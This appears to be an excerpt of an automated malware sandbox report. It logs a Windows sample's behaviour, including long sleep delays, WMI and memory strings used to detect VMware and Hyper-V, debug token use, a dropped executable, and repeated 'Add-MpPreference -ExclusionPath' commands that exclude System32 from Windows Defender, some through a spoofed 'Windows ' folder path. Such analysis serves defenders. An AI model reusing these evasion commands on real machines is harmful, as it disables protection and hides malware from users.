Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -599891s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7488	Thread sleep count: 6138 > 30
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -599781s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -599657s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -599531s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -599422s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -599312s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -599203s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -599094s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -598984s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -598875s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -598766s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -598656s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -598547s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -598438s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -598328s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -598219s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -598109s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -598000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -597891s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -597750s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -597641s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -597531s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -597420s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -597312s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -597203s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -597094s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -596983s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -596870s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -596766s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -596656s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -596547s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -596438s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -596313s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -596188s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -596063s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -595953s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -595844s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -595719s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -595610s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -595485s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -595360s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -595235s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -595110s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -594985s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -594860s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -594735s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -594610s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -594484s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -594375s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6696	Thread sleep count: 8328 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7180	Thread sleep count: 1048 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3848	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7268	Thread sleep count: 8306 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7268	Thread sleep count: 981 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1868	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\timeout.exe TID: 824	Thread sleep count: 80 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888	Thread sleep count: 2788 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 348	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7928	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep count: 3028 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5180	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5948	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7988	Thread sleep count: 4452 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1308	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7988	Thread sleep count: 1320 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2336	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8000	Thread sleep count: 3515 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1888	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8012	Thread sleep count: 228 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8064	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\timeout.exe TID: 6668	Thread sleep count: 44 > 30
Source: C:\Windows\System32\timeout.exe TID: 8164	Thread sleep count: 34 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5848	Thread sleep count: 4550 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1284	Thread sleep count: 353 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3352	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4192	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5368	Thread sleep count: 3436 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3588	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3916	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\timeout.exe TID: 5828	Thread sleep count: 75 > 30
Source: C:\Windows\System32\timeout.exe TID: 2516	Thread sleep count: 79 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6600	Thread sleep count: 6844 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6736	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6600	Thread sleep count: 2523 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6700	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6336	Thread sleep count: 7959 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6580	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6336	Thread sleep count: 1050 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6508	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\timeout.exe TID: 1432	Thread sleep count: 84 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6400	Thread sleep count: 1652 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6400	Thread sleep count: 7901 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1028	Thread sleep time: -9223372036854770s >= -30000s

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\loaddll64.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 60000
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599874
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599765
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599653
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599546
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599437
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599328
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599218
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599109
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598998
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598890
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598781
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598671
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598552
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598421
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598312
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598203
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598093
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597984
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597874
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597765
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597656
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597546
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597437
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597328
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597212
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597093
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596984
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596874
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596765
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596656
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596544
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596436
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596328
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596218
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596107
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595995
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595875
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595765
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595656
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595546
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595437
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595328
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595218
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595109
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594999
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594890
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594781
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594671
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594562
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 60000
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599891
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599781
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599657
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599531
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599422
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599312
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599203
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 599094
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598984
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598875
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598766
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598656
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598547
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598438
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598328
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598219
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598109
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 598000
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597891
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597750
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597641
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597531
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597420
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597312
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597203
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 597094
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596983
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596870
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596766
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596656
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596547
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596438
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596313
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596188
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 596063
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595953
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595844
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595719
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595610
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595485
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595360
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595235
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 595110
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594985
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594860
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594735
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594610
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594484
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 594375
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 0000001E.00000002.2681327360.000002ACB701C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: svchost.exe, 0000001E.00000002.2681327360.000002ACB701C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: stringComputer System ProductComputer System ProductPEPWSG71434D56-1548-ED3D-AEE6-C75AECD93BF0VMware, Inc.None
Source: svchost.exe, 0000001B.00000002.2653432544.00000204988EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000001B.00000002.2653346017.00000204988B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2678742182.000002AC9CCA2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\svchost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\svchost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\svchost.exe

File created: Z369335.exe.27.dr

Jump to dropped file

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\winsvcf\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\winsvcf\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\Z753638.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\Z369335.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\usvcinsta64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
